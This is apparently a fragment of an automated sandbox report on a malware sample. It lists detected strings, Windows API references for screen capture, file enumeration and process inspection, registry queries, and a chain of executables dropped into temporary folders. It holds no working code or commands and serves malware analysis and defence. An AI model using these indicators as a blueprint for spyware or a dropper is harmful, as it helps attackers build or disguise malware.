file/memory contains long string with (Indicator: ".encrypt"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "base64"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "blowfish"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "aes"; File: "SSL") Found string "FromBase64" (Indicator: "base64"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found string "FromBase64String" (Indicator: "base64"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found string "base64str" (Indicator: "base64"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") file/memory contains long string with (Indicator: "base64"; File: "MSJBT4N6.js") file/memory contains long string with (Indicator: "aes"; File: "MSJBT4N6.js") Found string "FromBase64" (Indicator: "base64"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found string "FromBase64String" (Indicator: "base64"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found string "base64str" (Indicator: "base64"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp")62:T57a,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "file") Found reference to API "GetDC" (Indicator: "GetDC"; File: "file") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp")63:T4a6,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "file") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "file") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "2Aq2815.exe.2348412272") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "2Aq2815.exe.2348412272") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")64:Td52,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "1BC12Pi1.exe.3913938919") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "1BC12Pi1.exe.3913938919") Found reference to API "Module32First" (Indicator: "Module32First"; File: "1BC12Pi1.exe.3913938919") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp")65:T5bc,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")66:T9a2,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "file") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "file") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "file") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "file") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "file") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "file") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "file") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "file") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")67:T1226,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp, 00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp, 00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp, 00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\6hE6Ue0.exe" (Indicator: "\Device\"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp, 00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP004.TMP\2Aq2815.exe" (Indicator: "\Device\"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string "indows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp, 00000000-00000808.00000001.68760.00250000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp, 00000000-00000808.00000001.68760.00250000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp, 00000000-00000808.00000001.68760.00250000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp")68:T49b,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "file") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "file") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "file") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "file") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")69:T708,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "file") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "file") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00003992.00000000.68305.011A1000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")6a:T1193,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: file] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: file] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: file] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: file] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: file] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Vo8ml85.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Vo8ml85.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Vo8ml85.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Vo8ml85.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Vo8ml85.exe] Observed import api "IsValidSid" which can "Validates a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: 4nL947Ei.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: aM0RY76.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: aM0RY76.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: aM0RY76.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: aM0RY76.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: aM0RY76.exe] Observed import api "IsValidSid" which can "Validates a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: 3Hh02Er.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: kx3Tv79.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: kx3Tv79.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: kx3Tv79.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: kx3Tv79.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: kx3Tv79.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: FM0nA02.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: FM0nA02.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: FM0nA02.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: FM0nA02.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: FM0nA02.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5VA7se4.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5VA7se4.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5VA7se4.exe]6b:Tb36,"2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPV6DOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "")6c:T40c,"77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001756] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002356] "Cab47E3.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab47E3.tmp]- [targetUID: 00000000-00001756] "Cab498B.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A]6d:T68d,"Vo8ml85.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Vo8ml85.exe]- [targetUID: 00000000-00002448] "4nL947Ei.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\4nL947Ei.exe]- [targetUID: 00000000-00003844] "aM0RY76.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\aM0RY76.exe]- [targetUID: 00000000-00003844] "3Hh02Er.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3Hh02Er.exe]- [targetUID: 00000000-00003636] "kx3Tv79.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\kx3Tv79.exe]- [targetUID: 00000000-00003636] "FM0nA02.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\FM0nA02.exe]- [targetUID: 00000000-00003636] "5VA7se4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5VA7se4.exe]- [targetUID: 00000000-00003116] "1BC12Pi1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\1BC12Pi1.exe]- [targetUID: 00000000-00003964] "2Aq2815.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2Aq2815.exe]- [targetUID: 00000000-00000488] "6hE6Ue0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\IXP000.TMP\6hE6Ue0.exe]- [targetUID: 00000000-00002448] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- 